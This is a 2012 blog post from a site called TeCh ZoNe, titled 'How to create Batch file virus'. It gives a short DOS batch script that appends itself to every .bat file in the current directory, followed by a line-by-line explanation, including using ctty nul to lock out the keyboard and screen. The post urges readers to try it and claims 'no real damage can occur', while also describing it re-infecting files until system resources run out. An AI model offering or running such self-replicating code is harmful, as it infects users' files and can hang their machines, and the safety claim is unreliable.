Trending: TeCh ZoNe

Wednesday, January 11, 2012

How to create || Batch file virus ||


Virus.bat
@echo off ctty nul
for %%f in (*.bat) do copy %%f + virus.bat
ctty con

Thats it, simple infection routine that infects all batch filz in the current directory. This kind of infection is not popular among virus writers due to the way it infects. This virus will not only infect itself, but if it cant find anything to infect it will loop and re-infect all other batch filz all over again until all the memory or system resources are taken up. This is a bug but also a feature. It just appends itself on any batch file, lame but somewhat effective if used in the correct context. Try it out and play with it, as no real damage can occur. Mind you it is very quick, so if you leave it for ten seconds it probably will have infected other batch filz about 600 times. Batch file viruses are very fast. Im am now going to attempt to explain what each line does: -


@echo off - turns off the commands written in the program so the user cannot see what you are typing.
ctty nul - disables the keyboard and screen output, meaning you cant stop the virus unless you turn off your PC.
for %%f in (*.bat) do copy %%f + virus.bat - this puts the virus in all batch files in the current directory.
ctty con - re-enables the keyboard and the screen display.

All Rights Reserved TeCh ZoNe | Blogger Template by Bloggermint
back to top